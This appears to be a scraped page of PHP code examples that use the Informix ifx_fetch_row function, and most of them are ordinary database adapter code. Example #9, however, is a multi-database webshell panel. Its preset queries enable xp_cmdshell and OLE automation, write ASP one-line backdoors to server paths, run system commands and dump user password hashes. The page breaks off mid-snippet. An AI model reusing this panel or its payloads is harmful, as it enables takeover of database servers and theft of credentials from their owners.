Пример #1
0
 /**
  * Constructor method for the adapter.  This constructor implements the setting of the
  * 3 required properties for the object.
  *
  * @param resource $d The datasource resource
  */
 function informixAdapter($d)
 {
     parent::RecordSetAdapter($d);
     $ob = "";
     $fieldcount = ifx_num_fields($d);
     $be = $this->isBigEndian;
     $fc = pack('N', $fieldcount);
     if (ifx_num_rows($d) > 0) {
         $line = ifx_fetch_row($d, "FIRST");
         do {
             //Write inner inner (data) array
             $ob .= "\n" . $fc;
             foreach ($line as $key => $value) {
                 if (is_string($value)) {
                     // string
                     $os = $this->_directCharsetHandler->transliterate($value);
                     $len = strlen($os);
                     if ($len < 65536) {
                         $ob .= "" . pack('n', $len) . $os;
                     } else {
                         $ob .= "\f" . pack('N', $len) . $os;
                     }
                 } elseif (is_float($value) || is_int($value)) {
                     //numberic
                     $b = pack('d', $value);
                     // pack the bytes
                     if ($be) {
                         // if we are a big-endian processor
                         $r = strrev($b);
                     } else {
                         // add the bytes to the output
                         $r = $b;
                     }
                     $ob .= "" . $r;
                 } elseif (is_bool($value)) {
                     //bool
                     $ob .= "" . pack('c', $value);
                 } elseif (is_null($value)) {
                     // null
                     $ob .= "";
                 }
             }
         } while ($line = ifx_fetch_row($d, "NEXT"));
     }
     $this->serializedData = $ob;
     $properties = ifx_fieldproperties($d);
     for ($i = 0; $i < $fieldcount; $i++) {
         $this->columnNames[$i] = $this->_directCharsetHandler->transliterate(key($properties));
         next($properties);
     }
     $this->numRows = ifx_num_rows($d);
 }
Пример #2
0
 /**
  * Constructor method for the adapter.  This constructor implements the setting of the
  * 3 required properties for the object.
  *
  * @param resource $d The datasource resource
  */
 function informixAdapter($d)
 {
     parent::RecordSetAdapter($d);
     $fieldcount = ifx_num_fields($d);
     $properties = ifx_fieldproperties($d);
     for ($i = 0; $i < $fieldcount; $i++) {
         $this->columns[$i] = key($properties);
         next($properties);
     }
     if (ifx_num_rows($d) > 0) {
         $line = ifx_fetch_row($d, "FIRST");
         do {
             $this->rows[] = $line;
         } while ($line = ifx_fetch_row($d, "NEXT"));
     }
 }
 function _fetch($ignore_fields = false)
 {
     $this->fields = @ifx_fetch_row($this->_queryID);
     if (!is_array($this->fields)) {
         return false;
     }
     if ($this->fetchMode == ADODB_FETCH_NUM) {
         foreach ($this->fields as $v) {
             $arr[] = $v;
         }
         $this->fields = $arr;
     }
     return true;
 }
Пример #4
0
 /**
  * Se Mueve al resultado indicado por $number en un select
  * Hay problemas con este metodo hay problemas con curesores IFX_SCROLL
  *
  * @param int $number
  * @param resource $result_query
  * @return boolean
  */
 public function data_seek($number, $result_query = '')
 {
     if (!$result_query) {
         $result_query = $this->last_result_query;
         if (!$result_query) {
             return false;
         }
     }
     if (($success = ifx_fetch_row($result_query, $number)) !== false) {
         return $success;
     } else {
         throw new KumbiaException($this->error());
     }
     return false;
 }
Пример #5
0
 /**
  * Insert the current objects variables into the database
  *
  * Returns the ID of the inserted element (if auto increment or sequences are used.)
  *
  * for example
  *
  * Designed to be extended
  *
  * $object = new mytable();
  * $object->name = "fred";
  * echo $object->insert();
  *
  * @access public
  * @return mixed false on failure, int when auto increment or sequence used, otherwise true on success
  */
 function insert()
 {
     global $_DB_DATAOBJECT;
     // we need to write to the connection (For nextid) - so us the real
     // one not, a copyied on (as ret-by-ref fails with overload!)
     if (!isset($_DB_DATAOBJECT['CONNECTIONS'][$this->_database_dsn_md5])) {
         $this->_connect();
     }
     $quoteIdentifiers = !empty($_DB_DATAOBJECT['CONFIG']['quote_identifiers']);
     $DB =& $_DB_DATAOBJECT['CONNECTIONS'][$this->_database_dsn_md5];
     $items = isset($_DB_DATAOBJECT['INI'][$this->_database][$this->__table]) ? $_DB_DATAOBJECT['INI'][$this->_database][$this->__table] : $this->table();
     if (!$items) {
         $this->raiseError("insert:No table definition for {$this->__table}", DB_DATAOBJECT_ERROR_INVALIDCONFIG);
         return false;
     }
     $options =& $_DB_DATAOBJECT['CONFIG'];
     $datasaved = 1;
     $leftq = '';
     $rightq = '';
     $seqKeys = isset($_DB_DATAOBJECT['SEQUENCE'][$this->_database][$this->__table]) ? $_DB_DATAOBJECT['SEQUENCE'][$this->_database][$this->__table] : $this->sequenceKey();
     $key = isset($seqKeys[0]) ? $seqKeys[0] : false;
     $useNative = isset($seqKeys[1]) ? $seqKeys[1] : false;
     $seq = isset($seqKeys[2]) ? $seqKeys[2] : false;
     $dbtype = $_DB_DATAOBJECT['CONNECTIONS'][$this->_database_dsn_md5]->dsn["phptype"];
     // nativeSequences or Sequences..
     // big check for using sequences
     if ($key !== false && !$useNative) {
         if (!$seq) {
             $keyvalue = $DB->nextId($this->__table);
         } else {
             $f = $DB->getOption('seqname_format');
             $DB->setOption('seqname_format', '%s');
             $keyvalue = $DB->nextId($seq);
             $DB->setOption('seqname_format', $f);
         }
         if (PEAR::isError($keyvalue)) {
             $this->raiseError($keyvalue->toString(), DB_DATAOBJECT_ERROR_INVALIDCONFIG);
             return false;
         }
         $this->{$key} = $keyvalue;
     }
     // if we haven't set disable_null_strings to "full"
     $ignore_null = !isset($options['disable_null_strings']) || !is_string($options['disable_null_strings']) || strtolower($options['disable_null_strings']) !== 'full';
     foreach ($items as $k => $v) {
         // if we are using autoincrement - skip the column...
         if ($key && $k == $key && $useNative) {
             continue;
         }
         // Ignore variables which aren't set to a value
         if (!isset($this->{$k}) && $ignore_null) {
             continue;
         }
         // dont insert data into mysql timestamps
         // use query() if you really want to do this!!!!
         if ($v & DB_DATAOBJECT_MYSQLTIMESTAMP) {
             continue;
         }
         if ($leftq) {
             $leftq .= ', ';
             $rightq .= ', ';
         }
         $leftq .= $quoteIdentifiers ? $DB->quoteIdentifier($k) . ' ' : "{$k} ";
         if (is_a($this->{$k}, 'DB_DataObject_Cast')) {
             $value = $this->{$k}->toString($v, $DB);
             if (PEAR::isError($value)) {
                 $this->raiseError($value->toString(), DB_DATAOBJECT_ERROR_INVALIDARGS);
                 return false;
             }
             $rightq .= $value;
             continue;
         }
         if (!($v & DB_DATAOBJECT_NOTNULL) && DB_DataObject::_is_null($this, $k)) {
             $rightq .= " NULL ";
             continue;
         }
         // DATE is empty... on a col. that can be null..
         // note: this may be usefull for time as well..
         if (!$this->{$k} && ($v & DB_DATAOBJECT_DATE || $v & DB_DATAOBJECT_TIME) && !($v & DB_DATAOBJECT_NOTNULL)) {
             $rightq .= " NULL ";
             continue;
         }
         if ($v & DB_DATAOBJECT_STR) {
             $rightq .= $this->_quote((string) ($v & DB_DATAOBJECT_BOOL ? $this->{$k} === 'f' ? 0 : (int) (bool) $this->{$k} : $this->{$k})) . " ";
             continue;
         }
         if (is_numeric($this->{$k})) {
             $rightq .= " {$this->{$k}} ";
             continue;
         }
         /* flag up string values - only at debug level... !!!??? */
         if (is_object($this->{$k}) || is_array($this->{$k})) {
             $this->debug('ODD DATA: ' . $k . ' ' . print_r($this->{$k}, true), 'ERROR');
         }
         // at present we only cast to integers
         // - V2 may store additional data about float/int
         $rightq .= ' ' . intval($this->{$k}) . ' ';
     }
     // not sure why we let empty insert here.. - I guess to generate a blank row..
     if ($leftq || $useNative) {
         $table = $quoteIdentifiers ? $DB->quoteIdentifier($this->__table) : $this->__table;
         if ($dbtype == 'pgsql' && empty($leftq)) {
             $r = $this->_query("INSERT INTO {$table} DEFAULT VALUES");
         } else {
             $r = $this->_query("INSERT INTO {$table} ({$leftq}) VALUES ({$rightq}) ");
         }
         if (PEAR::isError($r)) {
             $this->raiseError($r);
             return false;
         }
         if ($r < 1) {
             return 0;
         }
         // now do we have an integer key!
         if ($key && $useNative) {
             switch ($dbtype) {
                 case 'mysql':
                 case 'mysqli':
                     $method = "{$dbtype}_insert_id";
                     $this->{$key} = $method($_DB_DATAOBJECT['CONNECTIONS'][$this->_database_dsn_md5]->connection);
                     break;
                 case 'mssql':
                     // note this is not really thread safe - you should wrapp it with
                     // transactions = eg.
                     // $db->query('BEGIN');
                     // $db->insert();
                     // $db->query('COMMIT');
                     $db_driver = empty($options['db_driver']) ? 'DB' : $options['db_driver'];
                     $method = $db_driver == 'DB' ? 'getOne' : 'queryOne';
                     $mssql_key = $DB->{$method}("SELECT @@IDENTITY");
                     if (PEAR::isError($mssql_key)) {
                         $this->raiseError($mssql_key);
                         return false;
                     }
                     $this->{$key} = $mssql_key;
                     break;
                 case 'pgsql':
                     if (!$seq) {
                         $seq = $DB->getSequenceName(strtolower($this->__table));
                     }
                     $db_driver = empty($options['db_driver']) ? 'DB' : $options['db_driver'];
                     $method = $db_driver == 'DB' ? 'getOne' : 'queryOne';
                     $pgsql_key = $DB->{$method}("SELECT currval('" . $seq . "')");
                     if (PEAR::isError($pgsql_key)) {
                         $this->raiseError($pgsql_key);
                         return false;
                     }
                     $this->{$key} = $pgsql_key;
                     break;
                 case 'ifx':
                     $this->{$key} = array_shift(ifx_fetch_row(ifx_query("select DBINFO('sqlca.sqlerrd1') FROM systables where tabid=1", $_DB_DATAOBJECT['CONNECTIONS'][$this->_database_dsn_md5]->connection, IFX_SCROLL), "FIRST"));
                     break;
             }
         }
         if (isset($_DB_DATAOBJECT['CACHE'][strtolower(get_class($this))])) {
             $this->_clear_cache();
         }
         if ($key) {
             return $this->{$key};
         }
         return true;
     }
     $this->raiseError("insert: No Data specifed for query", DB_DATAOBJECT_ERROR_NODATA);
     return false;
 }
Пример #6
0
 /**
  * Fetch a row and return as array.
  *
  * @param   $result     Informix result identifier
  * @param   $row         (reference) array where data from the row is stored
  * @param   $fetchmode      how the resulting array should be indexed
  * @param   $rownum     the row number to fetch
  *
  * @return int an array on success, a DB error code on failure, NULL
  *             if there is no more data
  */
 function fetchInto($result, &$row, $fetchmode, $rownum=null)
 {
     if (($rownum !== null) && ($rownum < 0)) {
         return null;
     }
     // if $rownum is null, fetch row will return the next row
     if (!$row = @ifx_fetch_row($result, $rownum)) {
         return null;
     }
     if ($fetchmode !== DB_FETCHMODE_ASSOC) {
         $i=0;
         $order = array();
         foreach ($row as $key => $val) {
             $order[$i++] = $val;
         }
         $row = $order;
     }
     return DB_OK;
 }
Пример #7
0
 /**
  * Places a row from the result set into the given array
  *
  * Formating of the array and the data therein are configurable.
  * See DB_result::fetchInto() for more information.
  *
  * This method is not meant to be called directly.  Use
  * DB_result::fetchInto() instead.  It can't be declared "protected"
  * because DB_result is a separate object.
  *
  * @param resource $result    the query result resource
  * @param array    $arr       the referenced array to put the data in
  * @param int      $fetchmode how the resulting array should be indexed
  * @param int      $rownum    the row number to fetch (0 = first row)
  *
  * @return mixed  DB_OK on success, NULL when the end of a result set is
  *                 reached or on failure
  *
  * @see DB_result::fetchInto()
  */
 function fetchInto($result, &$arr, $fetchmode, $rownum = null)
 {
     if ($rownum !== null && $rownum < 0) {
         return null;
     }
     if ($rownum === null) {
         /*
          * Even though fetch_row() should return the next row  if
          * $rownum is null, it doesn't in all cases.  Bug 598.
          */
         $rownum = 'NEXT';
     } else {
         // Index starts at row 1, unlike most DBMS's starting at 0.
         $rownum++;
     }
     if (!($arr = @ifx_fetch_row($result, $rownum))) {
         return null;
     }
     if ($fetchmode !== DB_FETCHMODE_ASSOC) {
         $i = 0;
         $order = array();
         foreach ($arr as $val) {
             $order[$i++] = $val;
         }
         $arr = $order;
     } elseif ($fetchmode == DB_FETCHMODE_ASSOC && $this->options['portability'] & DB_PORTABILITY_LOWERCASE) {
         $arr = array_change_key_case($arr, CASE_LOWER);
     }
     if ($this->options['portability'] & DB_PORTABILITY_RTRIM) {
         $this->_rtrimArrayValues($arr);
     }
     if ($this->options['portability'] & DB_PORTABILITY_NULL_TO_EMPTY) {
         $this->_convertNullArrayValuesToEmpty($arr);
     }
     return DB_OK;
 }
Пример #8
0
 function NumberOfRows($result)
 {
     $result_value = intval($result);
     if (!isset($this->current_row[$result_value])) {
         return $this->SetError("Number of rows", "attemped to obtain the number of rows contained in an unknown query result");
     }
     if (!isset($this->rows[$result_value])) {
         if (!$this->GetColumnNames($result)) {
             return 0;
         }
         if (isset($this->limits[$result_value])) {
             if (!$this->SkipFirstRows($result)) {
                 $this->rows[$result_value] = 0;
                 return 0;
             }
             $limit = $this->limits[$result_value][1];
         } else {
             $limit = 0;
         }
         if ($limit == 0 || $this->current_row[$result_value] + 1 < $limit) {
             if (isset($this->row_buffer[$result_value])) {
                 $this->current_row[$result_value]++;
                 $this->results[$result_value][$this->current_row[$result_value]] = $this->row_buffer[$result_value];
                 unset($this->row_buffer[$result_value]);
             }
             for (; ($limit == 0 || $this->current_row[$result_value] + 1 < $limit) && GetType($this->results[$result_value][$this->current_row[$result_value] + 1] = ifx_fetch_row($result)) == "array"; $this->current_row[$result_value]++) {
             }
         }
         $this->rows[$result_value] = $this->current_row[$result_value] + 1;
     }
     return $this->rows[$result_value];
 }
Пример #9
0
function otherdb()
{
    $db = isset($_GET['db']) ? $_GET['db'] : 'ms';
    print <<<END
<form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data">
<div class="actall">
<a href="?s=gg&db=ms"> &nbsp MSSQL &nbsp</a>
<a href="?s=gg&db=ora"> &nbsp Oracle &nbsp</a>
<a href="?s=gg&db=ifx"> &nbsp InforMix &nbsp</a>
<a href="?s=gg&db=fb"> &nbsp  FireBird &nbsp</a>
<a href="?s=gg&db=db2">&nbsp DB2 &nbsp</a></div></form>
END;
    if ($db == "ms") {
        $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost';
        $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******';
        $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '';
        $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
        $msaction = isset($_POST['action']) ? $_POST['action'] : '';
        $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
        $msquery = stripslashes($msquery);
        print <<<END
<div class="actall">
<form method="POST" name="msform" action="?s=gg&db=ms">
Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px">
User:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br>
<script language="javascript">
function msFull(i){
\tStr = new Array(11);
\tStr[0] = "";
\tStr[1] = "select @@version;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select name from sysobject where type='U';";
\tStr[4] = "select name from syscolumns where id=Object_Id('table_name');";
\tStr[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
\tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
\tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
\tStr[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
\tStr[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
\tStr[10] = "Exec master.dbo.xp_cmdshell 'net user';";
\tStr[11] = "Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
\tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
\tmsform.mssql.value = Str[i];
\treturn true;
}
</script>
<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
<select onchange="return msFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
\t<option value="5">sp_oacreate</option>
\t<option value="6">xp_cmdshell</option>
\t<option value="7">xp_cmdshell(2005)</option>
\t<option value="8">sp_oacreate(2005)</option>
\t<option value="9">����openrowset(2005)</option>
\t<option value="10">xp_cmdshell exec</option>
\t<option value="10">sp_oamethod exec</option>
\t<option value="11">sp_makewebtask</option>
</select>
<input type="hidden" name="action" value="msquery">
<input class="bt" type="submit" value="Query"></form></div>
END;
        if ($msaction == 'msquery') {
            $msconn = mssql_connect($mshost, $msuser, $mspass);
            mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message());
            $msresult = mssql_query($msquery) or die(mssql_get_last_message());
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                echo '<td><b>' . mssql_field_name($msresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            mssql_data_seek($result, 0);
            while ($msrow = mssql_fetch_row($msresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                    echo '<td>' . "{$msrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            mssql_free_result($msresult);
            mssql_close();
        }
    } elseif ($db == "ora") {
        $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
        $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
        $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******';
        $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******';
        $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
        $oraaction = isset($_POST['action']) ? $_POST['action'] : '';
        $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
        $oraquery = stripslashes($oraquery);
        print <<<END
<form method="POST" name="oraform" action="?s=gg&db=ora">
<div class="actall">
Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px">
User:<input type="text" name="orauser" value="{$orauser}" style="width:80px">
Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px">
SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br>
<script language="javascript">
function oraFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select version();";
\tStr[2] = "SELECT NAME FROM V{$DATABASE}";
\tStr[3] = "select * From all_objects where object_type='TABLE'";
\tStr[4] = "select column_name from user_tab_columns where table_name='table1'";
\toraform.orasql.value = Str[i];
\treturn true;
}
</script>
<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
<select onchange="return oraFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
</select>
<input type="hidden" name="action" value="myquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($oraaction == 'oraquery') {
            $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror());
            $oraresult = ociparse($oralink, $oraquery) or die(ocierror());
            $orarow = oci_fetch_row($oraresult);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < oci_num_fields($oraresult); $i++) {
                echo '<td><b>' . oci_field_name($oraresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            ociresult($oraresult, 0);
            while ($orarow = ora_fetch_row($oraresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ora_num_fields($result); $i++) {
                    echo '<td>' . "{$orarow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            oci_free_statement($oraresult);
            ocilogoff();
        }
    } elseif ($db == "ifx") {
        $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******';
        $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******';
        $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
        $ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
        $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
        $ifxquery = stripslashes($ifxquery);
        print <<<END
<form method="POST" name="ifxform" action="?s=gg&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br>
<script language="javascript">
function ifxFull(i){
Str = new Array(11);
\tStr[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select tabname from systables;";
\tStr[4] = "select colname from syscolumns where tabid=n;";
\tStr[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�����������</option>
\t<option value="1">���ݿ�</option>
\t<option value="2">����</option>
\t<option value="3">�ֶ�</option>
\t<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($ifxaction == 'ifxquery') {
            $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
            $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
            $ifxrow = ifx_fetch_row($ifxresult);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n";
            }
            echo "</tr>\n";
            mysql_data_seek($ifxresult, 0);
            while ($ifxrow = ifx_fetch_row($ifxresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                    echo '<td>' . "{$ifxrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            ifx_free_result($ifxresult);
            ifx_close();
        }
    } elseif ($db == "db2") {
        $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
        $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
        $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******';
        $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******';
        $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
        $db2action = isset($_POST['action']) ? $_POST['action'] : '';
        $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
        $db2query = stripslashes($db2query);
        print <<<END
<form method="POST" name="db2form" action="?s=gg&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br>
<script language="javascript">
function db2Full(i){
Str = new Array(4);
\tStr[0] = "";
\tStr[1] = "select schemaname from syscat.schemata;";
\tStr[2] = "select name from sysibm.systables;";
\tStr[3] = "select colname from syscat.columns where tabname='table_name';";
\tStr[4] = "db2 get db cfg for db_name;";
db2form.db2sql.value = Str[i];
return true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">���ݿ�����</option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($myaction == 'db2query') {
            $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
            $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg());
            $db2row = db2_fetch_row($db2result);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n";
            }
            echo "</tr>\n";
            while ($db2row = db2_fetch_row($db2result)) {
                echo "<tr>\n";
                for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                    echo '<td>' . "{$db2row[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            db2_free_result($db2result);
            db2_close();
        }
    } elseif ($db == "fb") {
        $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
        $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
        $fbpath = str_replace("\\\\", "\\", $fbpath);
        $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******';
        $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******';
        $fbaction = isset($_POST['action']) ? $_POST['action'] : '';
        $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
        $fbquery = stripslashes($fbquery);
        print <<<END
<form method="POST" name="fbform" action="?s=gg&db=fb">
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
function fbFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
\tStr[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
\tStr[3] = "input 'D:\\createtable.sql';";
\tStr[4] = "shell netstat -an;";
fbform.fbsql.value = Str[i];
return true;
}
</script>
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
<select onchange="return fbFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">����sql</option>
\t<option value="4">shell</option>
</select>
<input type="hidden" name="action" value="fbquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($fbaction == 'fbquery') {
            $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg());
            $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg());
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                echo '<td><b>' . ibase_field_info($fbresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            ibase_field_info($fbresult, 0);
            while ($fbrow = ibase_fetch_row($fbresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                    echo '<td>' . "{$fbrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            ibase_free_result($fbresult);
            ibase_close();
        }
    }
}
Пример #10
0
         }
     }
     //fin while
     ifx_free_result($g_idq);
 } else {
     if ($_SESSION['control_campos_co'] == 7) {
         // ubicación
         $bloqueo = "set isolation to dirty read";
         p_query($bloqueo);
         $vector_v_direcciones = array();
         $pos_vec_direcciones = 0;
         $sql = "SELECT g.t_direccion FROM v_direccion g " . $c_direccion2_vetor_dir;
         p_query($sql);
         $num = ifx_affected_rows($g_idq);
         $filas = 0;
         while ($registro = ifx_fetch_row($g_idq)) {
             $filas++;
             if ($filas == 1) {
                 $vector_v_direcciones[$pos_vec_direcciones][1] = $registro['t_direccion'];
                 $depurado = $registro['t_direccion'];
                 //echo "correcto-". $correcto=trim($depurado," ","\t","\n","\r","\0","\x0B","-",".","º","!","$","%","&","/","(",")","=","?","¿");
                 $correcto = str_replace("\t", " ", $depurado);
                 $correcto = str_replace("\n", " ", $correcto);
                 $correcto = str_replace("\r", " ", $correcto);
                 $correcto = str_replace("", " ", $correcto);
                 $correcto = str_replace("\v", " ", $correcto);
                 $correcto = str_replace("-", " ", $correcto);
                 $correcto = str_replace(".", " ", $correcto);
                 $correcto = str_replace("º", " ", $correcto);
                 $correcto = str_replace("!", " ", $correcto);
                 $correcto = str_replace("\$", " ", $correcto);
 /**
  * FUNCTION: setDbLoop [** EXPERIMENTAL **]
  *
  * Function to create a loop from a Db result resource link.
  *
  * @param string $loopname to commit loop. If not set, will use last loopname set using newLoop()
  * @param string $result link to a Db result resource
  * @param string $db_type, type of db that the result resource belongs to.
  * @return boolean true/false
  * @access public
  */
 function setDbLoop($loopname, $result, $db_type = 'MYSQL')
 {
     $db_type = strtoupper($db_type);
     if (!in_array($db_type, $this->allowed_loop_dbs)) {
         vlibTemplateError::raiseError('VT_WARNING_INVALID_LOOP_DB', WARNING, $db_type);
         return false;
     }
     $loop_arr = array();
     switch ($db_type) {
         case 'MYSQL':
             if (get_resource_type($result) != 'mysql result') {
                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             while ($r = mysql_fetch_assoc($result)) {
                 $loop_arr[] = $r;
             }
             break;
         case 'POSTGRESQL':
             if (get_resource_type($result) != 'pgsql result') {
                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             $nr = function_exists('pg_num_rows') ? pg_num_rows($result) : pg_numrows($result);
             for ($i = 0; $i < $nr; $i++) {
                 $loop_arr[] = pg_fetch_array($result, $i, PGSQL_ASSOC);
             }
             break;
         case 'INFORMIX':
             if (!$result) {
